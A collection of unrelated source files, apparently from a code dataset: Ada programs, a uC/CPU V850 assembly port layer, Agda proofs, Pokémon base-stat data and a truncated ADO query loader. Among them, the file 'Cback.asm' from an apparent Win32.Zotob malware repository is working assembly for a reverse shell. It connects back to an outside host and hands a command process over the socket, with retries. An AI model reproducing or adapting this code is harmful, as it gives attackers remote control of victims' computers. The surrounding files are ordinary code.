0x17ca2a342e74 comment (;;; Safepoint table.)
--- End code ---
|
out/ocaml01.adb | FardaleM/metalang | 22 | 14872 | <reponame>FardaleM/metalang
with ada.text_io, ada.Integer_text_IO, Ada.Text_IO.Text_Streams, Ada.Strings.Fixed, Interfaces.C;
use ada.text_io, ada.Integer_text_IO, Ada.Strings, Ada.Strings.Fixed, Interfaces.C;
procedure ocaml01 is
type stringptr is access all char_array;
function foo return Integer is
begin
for i in integer range 0..10 loop
NULL;
end loop;
return 0;
end;
function bar return Integer is
a : Integer;
begin
for i in integer range 0..10 loop
a := 0;
end loop;
return 0;
end;
begin
NULL;
end;
|
V850E2M/CubeSuite+/cpu_a.asm | EmbeddedInsights/uC-CPU | 17 | 91701 | <filename>V850E2M/CubeSuite+/cpu_a.asm
;********************************************************************************************************
; uC/CPU
; CPU CONFIGURATION & PORT LAYER
;
; Copyright 2004-2021 Silicon Laboratories Inc. www.silabs.com
;
; SPDX-License-Identifier: APACHE-2.0
;
; This software is subject to an open source license and is distributed by
; Silicon Laboratories Inc. pursuant to the terms of the Apache License,
; Version 2.0 available at www.apache.org/licenses/LICENSE-2.0.
;
;********************************************************************************************************
;********************************************************************************************************
;
; CPU PORT FILE
;
; V850E2M
; Renesas CX Compiler
;
; Filename : cpu_a.asm
; Version : V1.32.01
;********************************************************************************************************
;********************************************************************************************************
; PUBLIC FUNCTIONS
;********************************************************************************************************
.extern _CPU_SR_Save
.extern _CPU_SR_Restore
.extern _CPU_IntDis
.extern _CPU_IntEn
.extern _CPU_EIIC_Rd
;********************************************************************************************************
; EQUATES
;********************************************************************************************************
PSW .set 5
EIIC .set 13
;********************************************************************************************************
; CODE GENERATION DIRECTIVES
;********************************************************************************************************
.cseg text
.align 4
;********************************************************************************************************
; SAVE/RESTORE CPU STATUS REGISTER
;
; Description : Save/Restore the state of CPU interrupts, if possible.
;
; (1) (c) For CPU_CRITICAL_METHOD_STATUS_LOCAL, the state of the interrupt status flag is
; stored in the local variable 'cpu_sr' & interrupts are then disabled ('cpu_sr' is
; allocated in all functions that need to disable interrupts). The previous interrupt
; status state is restored by copying 'cpu_sr' into the CPU's status register.
;
;
; Prototypes : CPU_SR CPU_SR_Save (void);
; void CPU_SR_Restore(CPU_SR cpu_sr);
;
; Note(s) : (1) These functions are used in general like this :
;
; void Task (void *p_arg)
; {
; CPU_SR_ALLOC(); /* Allocate storage for CPU status register */
; :
; :
; CPU_CRITICAL_ENTER(); /* cpu_sr = CPU_SR_Save(); */
; :
; :
; CPU_CRITICAL_EXIT(); /* CPU_SR_Restore(cpu_sr); */
; :
; }
;********************************************************************************************************
_CPU_SR_Save:
stsr PSW, r10 ; Store PSW
di
jmp [lp]
_CPU_SR_Restore:
ldsr r6 , PSW
jmp [lp]
;********************************************************************************************************
; DISABLE and ENABLE INTERRUPTS
;
; Description: Disable/Enable interrupts.
;
; Prototypes : void CPU_IntDis(void);
; void CPU_IntEn (void);
;********************************************************************************************************
_CPU_IntDis:
di
jmp [lp]
_CPU_IntEn:
ei
jmp [lp]
;********************************************************************************************************
; READS CPU EXCEPTION CAUSE REGISTER
;
; Description : Reads CPU EI level exception code register(EIIC), which retains the cause of any EI level
; exception that occurs.
;
; Prototypes : CPU_DATA CPU_EIIC_Rd (void);
;
; Note(s) : None.
;
;********************************************************************************************************
_CPU_EIIC_Rd:
stsr EIIC, r10
jmp [lp]
;********************************************************************************************************
; CPU ASSEMBLY PORT FILE END
;********************************************************************************************************
|
src/MJ/LexicalScope.agda | metaborg/mj.agda | 10 | 10901 | open import Prelude
open import MJ.Classtable.Core
module MJ.LexicalScope c where
open import Data.List
open import Data.List.Membership.Propositional
open import MJ.Types
Ctx : Set
Ctx = List (Ty c)
Var : Ctx → Ty c → Set
Var Γ a = a ∈ Γ
_+local_ : Ctx → Ty c → Ctx
_+local_ Γ a = a ∷ Γ
|
Win32/Win32.Zotob/Cback.asm | fengjixuchui/Family | 3 | 97195 | <reponame>fengjixuchui/Family<filename>Win32/Win32.Zotob/Cback.asm
CPU 386
[BITS 32]
section .rdata
CBACK_HOST DB 'wmchar.undo.it',0
section .text execute
%xdefine CBACK_TIMEOUT ((8*60)*1000) ;8 min.
%xdefine CBACK_CHK_CONN (10*1000) ;10 sec.
%xdefine CBACK_PORT 54322
@Cback:
mov ebp, esp
sub esp, 0x10
%define _WSASocket [ebp - 4]
push 0
push DWORD [MTX_CBACK]
call WaitForSingleObject
or eax, eax
jnz .exit
mov esi, STR_WS2_32
push esi
call GetModuleHandle
or eax, eax
jnz .ws2
push esi
call LoadLibrary
or eax, eax
jz .exit
.ws2
push STR_WSASocket
push eax
call GetProcAddress
or eax, eax
jz .exit
mov _WSASocket, eax
.gethost
push CBACK_HOST
call gethostbyname
or eax, eax
jz .exit
mov esi, [eax + 0xC]
lodsd
mov eax, [eax]
xor edx, edx
push edx
push edx
push eax ;ip
push DWORD (2 | ((((CBACK_PORT << 8) & 0xFF00) | ((CBACK_PORT >> 8) & 0xFF)) << 16) )
push edx
push edx
push edx
push edx
push byte 1
push byte 2
call DWORD _WSASocket
xchg ebx, eax
mov edx, esp
push byte 0x10
push edx
push ebx
call connect
add esp, byte 0x10
or eax, eax
jz .createprocess
.retry
push ebx
call closesocket
push byte (CBACK_TIMEOUT / CBACK_CHK_CONN)
pop ecx
.sleep
push ecx
push CBACK_CHK_CONN
call Sleep
pop ecx
cmp DWORD [CONNECTED], 0
je .exit
loop .sleep
jmp short .gethost
.exit
push DWORD [MTX_CBACK]
call ReleaseMutex
push BYTE 0
call ExitThread
.createprocess
push byte 0x11
pop ecx
mov edx, edi
mov edi, esp
lea esi, [edi + 0x44]
push esi
push edi
push edi
rep stosd
pop edi
mov byte [edi], 0x44
inc byte [edi + 0x2c] ;STARTF_USESHOWWINDOW
inc byte [edi + 0x2d] ;STARTF_USESTDHANDLES
lea edi, [edi + 0x38]
mov eax, ebx
stosd
stosd
stosd
mov edi, edx
push ecx
push ecx
push ecx
push eax ;TRUE
push ecx
push ecx
push STR_CMD
push ecx
call CreateProcess
lodsd
push eax
push byte -1
push eax
call WaitForSingleObject
call CloseHandle
push DWORD [esi]
call CloseHandle
jmp short .retry
|
data/pokemon/base_stats/taillow.asm | TastySnax12/pokecrystal16-493-plus | 2 | 95438 | db 0 ; species ID placeholder
db 40, 55, 30, 85, 30, 30
; hp atk def spd sat sdf
db NORMAL, FLYING ; type
db 200 ; catch rate
db 59 ; base exp
db NO_ITEM, BERRY ; items
db GENDER_F50 ; gender ratio
db 100 ; unknown 1
db 15 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/taillow/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_SLOW ; growth rate
dn EGG_FLYING, EGG_FLYING ; egg groups
; tm/hm learnset
tmhm CURSE, TOXIC, HIDDEN_POWER, SUNNY_DAY, SNORE, PROTECT, RAIN_DANCE, ENDURE, FRUSTRATION, RETURN, MUD_SLAP, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, SWIFT, DETECT, REST, ATTRACT, THIEF, STEEL_WING, FLY
; end
|
test/Fail/Issue1560.agda | redfish64/autonomic-agda | 3 | 2472 | <filename>test/Fail/Issue1560.agda
-- Andreas, 2015-06-11, issue reported by <NAME>
-- Ulf, 2015-09-23:
-- This test was still taking 12s, which is annoyingly much.
-- I commented out a few of the constructors to bring it down
-- to 2s. With agda-2.4.2 it checks in 18s, which should be long
-- enough to notice.
open import Common.Coinduction
mutual
-- an stype
data SType' : Set where
Skip : SType'
Semi : ∞ SType' → ∞ SType' → SType'
Case : ∞ SType' → ∞ SType' → SType'
c : (SType' → SType') → SType'
-- equivalence
data _∼_ : SType' → SType' → Set where
∼-Skip : Skip ∼ Skip
∼-Case : ∀ {s₁ s₁' s₂ s₂'} → ∞ (♭ s₁ ∼ ♭ s₁') → ∞ (♭ s₂ ∼ ♭ s₂') → Case s₁ s₂ ∼ Case s₁' s₂'
∼-Semi : ∀ {s₁ s₁' s₂ s₂'} → ∞ (♭ s₁ ∼ ♭ s₁') → ∞ (♭ s₂ ∼ ♭ s₂') → Semi s₁ s₂ ∼ Semi s₁' s₂'
∼-Semi-Skip-Left-Left : ∀ {s₁ s₂ s₃} → ∞ (♭ s₁ ∼ Skip) → ∞ (♭ s₂ ∼ s₃) → Semi s₁ s₂ ∼ s₃
-- ∼-Semi-Skip-Right-Left : ∀ {s₁ s₂ s₃} → ∞ (♭ s₂ ∼ Skip) → ∞ (♭ s₁ ∼ s₃) → Semi s₁ s₂ ∼ s₃
-- ∼-Semi-Skip-Left-Right : ∀ {s₁ s₂ s₃} → ∞ (♭ s₁ ∼ Skip) → ∞ (♭ s₂ ∼ s₃) → s₃ ∼ Semi s₁ s₂
-- ∼-Semi-Skip-Right-Right : ∀ {s₁ s₂ s₃} → ∞ (♭ s₂ ∼ Skip) → ∞ (♭ s₁ ∼ s₃) → s₃ ∼ Semi s₁ s₂
∼-Semi-Case-Left : ∀ {s₁ s₂ s₃ sl1 sl2 sr}
→ ∞ (♭ sl1 ∼ Semi s₁ s₃) → ∞ (♭ sl2 ∼ Semi s₂ s₃) → ∞ (♭ sr ∼ Case s₁ s₂) → Case sl1 sl2 ∼ Semi sr s₃
∼-Semi-Case-Right : ∀ {s₁ s₂ s₃ sl1 sl2 sr}
→ ∞ (♭ sl1 ∼ Semi s₁ s₃) → ∞ (♭ sl2 ∼ Semi s₂ s₃) → ∞ (♭ sr ∼ Case s₁ s₂) → Semi sr s₃ ∼ Case sl1 sl2
-- reflexivity
∼-refl : (s : SType') → s ∼ s
∼-refl Skip = ∼-Skip
∼-refl (Semi x x₁) = ∼-Semi (♯ ∼-refl (♭ x)) (♯ ∼-refl (♭ x₁))
∼-refl (Case s₁ s₂) = ∼-Case (♯ ∼-refl (♭ s₁)) (♯ ∼-refl (♭ s₂))
∼-refl (c f) = {!!}
-- symmetry
∼-sym : ∀ {s₁ s₂} → s₁ ∼ s₂ → s₂ ∼ s₁
∼-sym ∼-Skip = ∼-Skip
∼-sym (∼-Case s₁' s₂') = ∼-Case (♯ ∼-sym (♭ s₁')) (♯ ∼-sym (♭ s₂'))
∼-sym (∼-Semi s₁' s₂') = ∼-Semi (♯ ∼-sym (♭ s₁')) (♯ ∼-sym (♭ s₂'))
∼-sym (∼-Semi-Skip-Left-Left s₁∼s₂ s₁∼s₃) = {!∼-Semi-Skip-Left-Right s₁∼s₂ s₁∼s₃!}
-- ∼-sym (∼-Semi-Skip-Right-Left s₁∼s₂ s₁∼s₃) = ∼-Semi-Skip-Right-Right s₁∼s₂ s₁∼s₃
-- ∼-sym (∼-Semi-Skip-Left-Right s₁∼s₂ s₁∼s₃) = ∼-Semi-Skip-Left-Left s₁∼s₂ s₁∼s₃
-- ∼-sym (∼-Semi-Skip-Right-Right s₁∼s₂ s₁∼s₃) = ∼-Semi-Skip-Right-Left s₁∼s₂ s₁∼s₃
∼-sym (∼-Semi-Case-Left sl1 sl2 sr) = ∼-Semi-Case-Right sl1 sl2 sr
∼-sym (∼-Semi-Case-Right sl1 sl2 sr) = ∼-Semi-Case-Left sl1 sl2 sr
-- transitivity
∼-trans : ∀ {s₁ s₂ s₃} → s₁ ∼ s₂ → s₂ ∼ s₃ → s₁ ∼ s₃
∼-trans ∼-Skip ∼-Skip = ∼-Skip
-- ∼-trans ∼-Skip (∼-Semi-Skip-Left-Right x x₁) = ∼-Semi-Skip-Left-Right x x₁
-- ∼-trans ∼-Skip (∼-Semi-Skip-Right-Right x x₁) = ∼-Semi-Skip-Right-Right x x₁
∼-trans (∼-Case x x₁) (∼-Case x₂ x₃) = ∼-Case (♯ ∼-trans (♭ x) (♭ x₂)) (♯ ∼-trans (♭ x₁) (♭ x₃))
-- ∼-trans (∼-Case x x₁) (∼-Semi-Skip-Left-Right x₂ x₃) = ∼-Semi-Skip-Left-Right x₂ (♯ ∼-trans (♭ x₃) (∼-Case (♯ ∼-sym (♭ x)) (♯ ∼-sym (♭ x₁))))
-- ∼-trans (∼-Case x x₁) (∼-Semi-Skip-Right-Right x₂ x₃) = ∼-Semi-Skip-Right-Right x₂ (♯ ∼-trans (♭ x₃) (∼-Case (♯ ∼-sym (♭ x)) (♯ ∼-sym (♭ x₁))))
∼-trans (∼-Case x x₁) (∼-Semi-Case-Left x₂ x₃ x₄) = ∼-Semi-Case-Left (♯ ∼-trans (♭ x) (♭ x₂)) (♯ ∼-trans (♭ x₁) (♭ x₃)) x₄
∼-trans (∼-Semi x x₁) (∼-Semi x₂ x₃) = ∼-Semi (♯ ∼-trans (♭ x) (♭ x₂)) (♯ ∼-trans (♭ x₁) (♭ x₃))
∼-trans (∼-Semi x x₁) (∼-Semi-Skip-Left-Left x₂ x₃) = ∼-Semi-Skip-Left-Left (♯ ∼-trans (♭ x) (♭ x₂)) (♯ ∼-trans (♭ x₁) (♭ x₃))
-- ∼-trans (∼-Semi x x₁) (∼-Semi-Skip-Right-Left x₂ x₃) = ∼-Semi-Skip-Right-Left (♯ ∼-trans (♭ x₁) (♭ x₂)) (♯ ∼-trans (♭ x) (♭ x₃))
-- ∼-trans (∼-Semi x x₁) (∼-Semi-Skip-Left-Right x₂ x₃) = ∼-Semi-Skip-Left-Right x₂ (♯ ∼-trans (♭ x₃) (∼-Semi (♯ ∼-sym (♭ x)) (♯ ∼-sym (♭ x₁))))
-- ∼-trans (∼-Semi x x₁) (∼-Semi-Skip-Right-Right x₂ x₃) = ∼-Semi-Skip-Right-Right x₂ (♯ ∼-trans (♭ x₃) (∼-Semi (♯ ∼-sym (♭ x)) (♯ ∼-sym (♭ x₁))))
∼-trans (∼-Semi x x₁) (∼-Semi-Case-Right x₂ x₃ x₄) = ∼-Semi-Case-Right (♯ ∼-trans (♭ x₂) (∼-Semi (♯ ∼-refl _) (♯ ∼-sym (♭ x₁)))) (♯ ∼-trans (♭ x₃) (∼-Semi (♯ ∼-refl _) (♯ ∼-sym (♭ x₁)))) (♯ ∼-trans (♭ x) (♭ x₄))
∼-trans (∼-Semi-Skip-Left-Left x x₁) ∼-Skip = ∼-Semi-Skip-Left-Left x x₁
∼-trans (∼-Semi-Skip-Left-Left x x₁) (∼-Case x₂ x₃) = ∼-Semi-Skip-Left-Left x (♯ ∼-trans (♭ x₁) (∼-Case x₂ x₃))
∼-trans (∼-Semi-Skip-Left-Left x x₁) (∼-Semi x₂ x₃) = ∼-Semi-Skip-Left-Left x (♯ ∼-trans (♭ x₁) (∼-Semi x₂ x₃))
∼-trans (∼-Semi-Skip-Left-Left x x₁) (∼-Semi-Skip-Left-Left x₂ x₃) = ∼-Semi-Skip-Left-Left x (♯ ∼-trans (♭ x₁) (∼-Semi-Skip-Left-Left x₂ x₃))
-- ∼-trans (∼-Semi-Skip-Left-Left x x₁) (∼-Semi-Skip-Right-Left x₂ x₃) = ∼-Semi-Skip-Left-Left x (♯ ∼-trans (♭ x₁) (∼-Semi-Skip-Right-Left x₂ x₃))
-- ∼-trans (∼-Semi-Skip-Left-Left x x₁) (∼-Semi-Skip-Left-Right x₂ x₃) = ∼-Semi-Skip-Left-Left x (♯ ∼-trans (♭ x₁) (∼-Semi-Skip-Left-Right x₂ x₃))
-- ∼-trans (∼-Semi-Skip-Left-Left x x₁) (∼-Semi-Skip-Right-Right x₂ x₃) = ∼-Semi-Skip-Left-Left x (♯ ∼-trans (♭ x₁) (∼-Semi-Skip-Right-Right x₂ x₃))
∼-trans (∼-Semi-Skip-Left-Left x x₁) (∼-Semi-Case-Left x₂ x₃ x₄) = ∼-Semi-Skip-Left-Left x (♯ ∼-trans (♭ x₁) (∼-Semi-Case-Left x₂ x₃ x₄))
∼-trans (∼-Semi-Skip-Left-Left x x₁) (∼-Semi-Case-Right x₂ x₃ x₄) = ∼-Semi-Skip-Left-Left x (♯ ∼-trans (♭ x₁) (∼-Semi-Case-Right x₂ x₃ x₄))
-- ∼-trans (∼-Semi-Skip-Right-Left x x₁) ∼-Skip = ∼-Semi-Skip-Right-Left x x₁
-- ∼-trans (∼-Semi-Skip-Right-Left x x₁) (∼-Case x₂ x₃) = ∼-Semi-Skip-Right-Left x (♯ ∼-trans (♭ x₁) (∼-Case x₂ x₃))
-- ∼-trans (∼-Semi-Skip-Right-Left x x₁) (∼-Semi x₂ x₃) = ∼-Semi-Skip-Right-Left x (♯ ∼-trans (♭ x₁) (∼-Semi x₂ x₃))
-- ∼-trans (∼-Semi-Skip-Right-Left x x₁) (∼-Semi-Skip-Left-Left x₂ x₃) = {!!}
-- ∼-trans (∼-Semi-Skip-Right-Left x x₁) (∼-Semi-Skip-Right-Left x₂ x₃) = {!!}
-- ∼-trans (∼-Semi-Skip-Right-Left x x₁) (∼-Semi-Skip-Left-Right x₂ x₃) = {!!}
-- ∼-trans (∼-Semi-Skip-Right-Left x x₁) (∼-Semi-Skip-Right-Right x₂ x₃) = {!!}
-- ∼-trans (∼-Semi-Skip-Right-Left x x₁) (∼-Semi-Case-Left x₂ x₃ x₄) = {!!}
-- ∼-trans (∼-Semi-Skip-Right-Left x x₁) (∼-Semi-Case-Right x₂ x₃ x₄) = {!!}
--∼-trans (∼-Semi-Skip-Left-Right x x₁) (∼-Semi x₂ x₃) = ∼-Semi-Skip-Left-Right (♯ ∼-trans (∼-sym (♭ x₂)) (♭ x)) (♯ ∼-trans (∼-sym (♭ x₃)) (♭ x₁))
-- ∼-trans (∼-Semi-Skip-Left-Right x x₁) (∼-Semi-Skip-Left-Left x₂ x₃) = {!!}
-- ∼-trans (∼-Semi-Skip-Left-Right x x₁) (∼-Semi-Skip-Right-Left x₂ x₃) = {!!}
-- ∼-trans (∼-Semi-Skip-Left-Right x x₁) (∼-Semi-Skip-Left-Right x₂ x₃) = {!!}
-- ∼-trans (∼-Semi-Skip-Left-Right x x₁) (∼-Semi-Skip-Right-Right x₂ x₃) = {!!}
-- ∼-trans (∼-Semi-Skip-Left-Right x x₁) (∼-Semi-Case-Right x₂ x₃ x₄) = {!!}
-- ∼-trans (∼-Semi-Skip-Right-Right x x₁) (∼-Semi x₂ x₃) = ∼-Semi-Skip-Right-Right (♯ ∼-trans (∼-sym (♭ x₃)) (♭ x)) (♯ ∼-trans (∼-sym (♭ x₂)) (♭ x₁))
-- ∼-trans (∼-Semi-Skip-Right-Right x x₁) (∼-Semi-Skip-Left-Left x₂ x₃) = {!!}
-- ∼-trans (∼-Semi-Skip-Right-Right x x₁) (∼-Semi-Skip-Right-Left x₂ x₃) = {!!}
-- ∼-trans (∼-Semi-Skip-Right-Right x x₁) (∼-Semi-Skip-Left-Right x₂ x₃) = {!!}
-- ∼-trans (∼-Semi-Skip-Right-Right x x₁) (∼-Semi-Skip-Right-Right x₂ x₃) = {!!}
-- ∼-trans (∼-Semi-Skip-Right-Right x x₁) (∼-Semi-Case-Right x₂ x₃ x₄) = {!!}
∼-trans (∼-Semi-Case-Left x x₁ x₂) (∼-Semi x₃ x₄) = ∼-Semi-Case-Left {!!} (♯ ∼-trans (♭ x₁) (∼-Semi (♯ ∼-refl _) x₄)) (♯ ∼-trans (∼-sym (♭ x₃)) (♭ x₂))
∼-trans (∼-Semi-Case-Left x x₁ x₂) (∼-Semi-Skip-Left-Left x₃ x₄) = {!!}
-- ∼-trans (∼-Semi-Case-Left x x₁ x₂) (∼-Semi-Skip-Right-Left x₃ x₄) = {!!}
-- ∼-trans (∼-Semi-Case-Left x x₁ x₂) (∼-Semi-Skip-Left-Right x₃ x₄) = {!!}
-- ∼-trans (∼-Semi-Case-Left x x₁ x₂) (∼-Semi-Skip-Right-Right x₃ x₄) = {!!}
∼-trans (∼-Semi-Case-Left x x₁ x₂) (∼-Semi-Case-Right x₃ x₄ x₅) = {!!}
∼-trans (∼-Semi-Case-Right x x₁ x₂) (∼-Case x₃ x₄) = ∼-Semi-Case-Right (♯ ∼-trans (∼-sym (♭ x₃)) (♭ x)) (♯ ∼-trans (∼-sym (♭ x₄)) (♭ x₁)) x₂
-- ∼-trans (∼-Semi-Case-Right x x₁ x₂) (∼-Semi-Skip-Left-Right x₃ x₄) = {!!}
-- ∼-trans (∼-Semi-Case-Right x x₁ x₂) (∼-Semi-Skip-Right-Right x₃ x₄) = {!!}
∼-trans (∼-Semi-Case-Right x x₁ x₂) (∼-Semi-Case-Left x₃ x₄ x₅) = {!!}
|
src/ado-queries-loaders.adb | My-Colaborations/ada-ado | 0 | 6969 | <gh_stars>0
-----------------------------------------------------------------------
-- ado-queries-loaders -- Loader for Database Queries
-- Copyright (C) 2011, 2012, 2013, 2014, 2017, 2018, 2019, 2020 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Interfaces;
with Ada.IO_Exceptions;
with Ada.Directories;
with Util.Files;
with Util.Log.Loggers;
with Util.Beans.Objects;
with Util.Serialize.IO.XML;
with Util.Serialize.Mappers.Record_Mapper;
with ADO.Configs;
package body ADO.Queries.Loaders is
use Util.Log;
use ADO.Connections;
use Interfaces;
use Ada.Calendar;
Log : constant Loggers.Logger := Loggers.Create ("ADO.Queries.Loaders");
Base_Time : constant Ada.Calendar.Time := Ada.Calendar.Time_Of (Year => 1970,
Month => 1,
Day => 1);
-- Check for file modification time at most every 60 seconds.
FILE_CHECK_DELTA_TIME : constant Unsigned_32 := 60;
-- The list of query files defined by the application.
Query_Files : Query_File_Access := null;
Last_Query : Query_Index := 0;
Last_File : File_Index := 0;
-- Convert a Time to an Unsigned_32.
function To_Unsigned_32 (T : in Ada.Calendar.Time) return Unsigned_32;
pragma Inline_Always (To_Unsigned_32);
-- Get the modification time of the XML query file associated with the query.
function Modification_Time (File : in Query_File_Info) return Unsigned_32;
-- Initialize the query SQL pattern with the value
procedure Set_Query_Pattern (Into : in out Query_Pattern;
Value : in Util.Beans.Objects.Object);
-- ------------------------------
-- Register the query definition in the query file. Registration is done
-- in the package elaboration phase.
-- ------------------------------
procedure Register (File : in Query_File_Access;
Query : in Query_Definition_Access) is
begin
Last_Query := Last_Query + 1;
Query.File := File;
Query.Next := File.Queries;
Query.Query := Last_Query;
File.Queries := Query;
if File.Next = null and then Query_Files /= File then
Last_File := Last_File + 1;
File.Next := Query_Files;
File.File := Last_File;
Query_Files := File;
end if;
end Register;
function Find_Driver (Name : in String) return Integer;
function Find_Driver (Name : in String) return Integer is
begin
if Name'Length = 0 then
return 0;
end if;
declare
Driver : constant Connections.Driver_Access
:= Connections.Get_Driver (Name);
begin
if Driver = null then
-- There is no problem to have an SQL query for unsupported drivers, but still
-- report some warning.
Log.Warn ("Database driver {0} not found", Name);
return -1;
end if;
return Integer (Driver.Get_Driver_Index);
end;
end Find_Driver;
-- ------------------------------
-- Convert a Time to an Unsigned_32.
-- ------------------------------
function To_Unsigned_32 (T : in Ada.Calendar.Time) return Unsigned_32 is
D : constant Duration := Duration '(T - Base_Time);
begin
return Unsigned_32 (D);
end To_Unsigned_32;
-- ------------------------------
-- Get the modification time of the XML query file associated with the query.
-- ------------------------------
function Modification_Time (File : in Query_File_Info) return Unsigned_32 is
Path : constant String := To_String (File.Path);
begin
return To_Unsigned_32 (Ada.Directories.Modification_Time (Path));
exception
when Ada.IO_Exceptions.Name_Error =>
Log.Error ("XML query file '{0}' does not exist", Path);
return 0;
end Modification_Time;
-- ------------------------------
-- Returns True if the XML query file must be reloaded.
-- ------------------------------
function Is_Modified (File : in out Query_File_Info) return Boolean is
Now : constant Unsigned_32 := To_Unsigned_32 (Ada.Calendar.Clock);
begin
-- Have we passed the next check time?
if File.Next_Check > Now then
return False;
end if;
-- Next check in N seconds (60 by default).
File.Next_Check := Now + FILE_CHECK_DELTA_TIME;
-- See if the file was changed.
declare
M : constant Unsigned_32 := Modification_Time (File);
begin
if File.Last_Modified = M then
return False;
end if;
File.Last_Modified := M;
return True;
end;
end Is_Modified;
-- ------------------------------
-- Initialize the query SQL pattern with the value
-- ------------------------------
procedure Set_Query_Pattern (Into : in out Query_Pattern;
Value : in Util.Beans.Objects.Object) is
begin
Into.SQL := Util.Beans.Objects.To_Unbounded_String (Value);
end Set_Query_Pattern;
procedure Read_Query (Manager : in Query_Manager;
File : in out Query_File_Info) is
type Query_Info_Fields is (FIELD_CLASS_NAME, FIELD_PROPERTY_TYPE,
FIELD_PROPERTY_NAME, FIELD_QUERY_NAME,
FIELD_SQL_DRIVER,
FIELD_SQL, FIELD_SQL_COUNT, FIELD_QUERY);
-- The Query_Loader holds context and state information for loading
-- the XML query file and initializing the Query_Definition.
type Query_Loader is record
-- File : Query_File_Access;
Hash_Value : Unbounded_String;
Query_Def : Query_Definition_Access;
Query : Query_Info_Ref.Ref;
Driver : Integer;
end record;
type Query_Loader_Access is access all Query_Loader;
procedure Set_Member (Into : in out Query_Loader;
Field : in Query_Info_Fields;
Value : in Util.Beans.Objects.Object);
-- ------------------------------
-- Called by the de-serialization when a given field is recognized.
-- ------------------------------
procedure Set_Member (Into : in out Query_Loader;
Field : in Query_Info_Fields;
Value : in Util.Beans.Objects.Object) is
begin
case Field is
when FIELD_CLASS_NAME =>
Append (Into.Hash_Value, " class=");
Append (Into.Hash_Value, Util.Beans.Objects.To_Unbounded_String (Value));
when FIELD_PROPERTY_TYPE =>
Append (Into.Hash_Value, " type=");
Append (Into.Hash_Value, Util.Beans.Objects.To_Unbounded_String (Value));
when FIELD_PROPERTY_NAME =>
Append (Into.Hash_Value, " name=");
Append (Into.Hash_Value, Util.Beans.Objects.To_Unbounded_String (Value));
when FIELD_QUERY_NAME =>
Into.Query_Def := Find_Query (File, Util.Beans.Objects.To_String (Value));
Into.Driver := 0;
if Into.Query_Def /= null then
Into.Query := Query_Info_Ref.Create;
end if;
when FIELD_SQL_DRIVER =>
Into.Driver := Find_Driver (Util.Beans.Objects.To_String (Value));
when FIELD_SQL =>
if not Into.Query.Is_Null and Into.Driver >= 0 and Into.Query_Def /= null then
Set_Query_Pattern (Into.Query.Value.Main_Query (Driver_Index (Into.Driver)),
Value);
end if;
Into.Driver := 0;
when FIELD_SQL_COUNT =>
if not Into.Query.Is_Null and Into.Driver >= 0 and Into.Query_Def /= null then
Set_Query_Pattern (Into.Query.Value.Count_Query (Driver_Index (Into.Driver)),
Value);
end if;
Into.Driver := 0;
when FIELD_QUERY =>
if Into.Query_Def /= null then
-- Now we can safely setup the query info associated with the query definition.
Manager.Queries (Into.Query_Def.Query) := Into.Query;
end if;
Into.Query_Def := null;
end case;
end Set_Member;
package Query_Mapper is
new Util.Serialize.Mappers.Record_Mapper (Element_Type => Query_Loader,
Element_Type_Access => Query_Loader_Access,
Fields => Query_Info_Fields,
Set_Member => Set_Member);
Loader : aliased Query_Loader;
Sql_Mapper : aliased Query_Mapper.Mapper;
Reader : Util.Serialize.IO.XML.Parser;
Mapper : Util.Serialize.Mappers.Processing;
Path : constant String := To_String (File.Path);
begin
Log.Info ("Reading XML query {0}", Path);
-- Loader.File := Into;
Loader.Driver := 0;
-- Create the mapping to load the XML query file.
Sql_Mapper.Add_Mapping ("class/@name", FIELD_CLASS_NAME);
Sql_Mapper.Add_Mapping ("class/property/@type", FIELD_PROPERTY_TYPE);
Sql_Mapper.Add_Mapping ("class/property/@name", FIELD_PROPERTY_NAME);
Sql_Mapper.Add_Mapping ("query/@name", FIELD_QUERY_NAME);
Sql_Mapper.Add_Mapping ("query/sql", FIELD_SQL);
Sql_Mapper.Add_Mapping ("query/sql/@driver", FIELD_SQL_DRIVER);
Sql_Mapper.Add_Mapping ("query/sql-count", FIELD_SQL_COUNT);
Sql_Mapper.Add_Mapping ("query/sql-count/@driver", FIELD_SQL_DRIVER);
Sql_Mapper.Add_Mapping ("query", FIELD_QUERY);
Mapper.Add_Mapping ("query-mapping", Sql_Mapper'Unchecked_Access);
-- Set the context for Set_Member.
Query_Mapper.Set_Context (Mapper, Loader'Access);
-- Read the XML query file.
Reader.Parse (Path, Mapper);
File.Next_Check := To_Unsigned_32 (Ada.Calendar.Clock) + FILE_CHECK_DELTA_TIME;
exception
when Ada.IO_Exceptions.Name_Error =>
Log.Error ("XML query file '{0}' does not exist", Path);
end Read_Query;
-- ------------------------------
-- Read the query definition.
-- ------------------------------
procedure Read_Query (Manager : in Query_Manager;
Into : in Query_Definition_Access) is
begin
if Manager.Queries (Into.Query).Is_Null
or else Is_Modified (Manager.Files (Into.File.File))
then
Read_Query (Manager, Manager.Files (Into.File.File));
end if;
end Read_Query;
-- ------------------------------
-- Initialize the queries to look in the list of directories specified by <b>Paths</b>.
-- Each search directory is separated by ';' (yes, even on Unix).
-- When <b>Load</b> is true, read the XML query file and initialize the query
-- definitions from that file.
-- ------------------------------
procedure Initialize (Manager : in out Query_Manager;
Config : in ADO.Connections.Configuration'Class) is
function Get_Config (Name : in String) return String;
function Get_Config (Name : in String) return String is
Value : constant String := Config.Get_Property (Name);
begin
if Value'Length > 0 then
return Value;
else
return ADO.Configs.Get_Config (Name);
end if;
end Get_Config;
Paths : constant String := Get_Config (Configs.QUERY_PATHS_CONFIG);
Load : constant Boolean := Get_Config (Configs.QUERY_LOAD_CONFIG) = "true";
File : Query_File_Access := Query_Files;
begin
Log.Info ("Initializing query search paths to {0}", Paths);
if Manager.Queries = null then
Manager.Queries := new Query_Table (1 .. Last_Query);
end if;
if Manager.Files = null then
Manager.Files := new File_Table (1 .. Last_File);
end if;
Manager.Driver := Config.Get_Driver;
while File /= null loop
declare
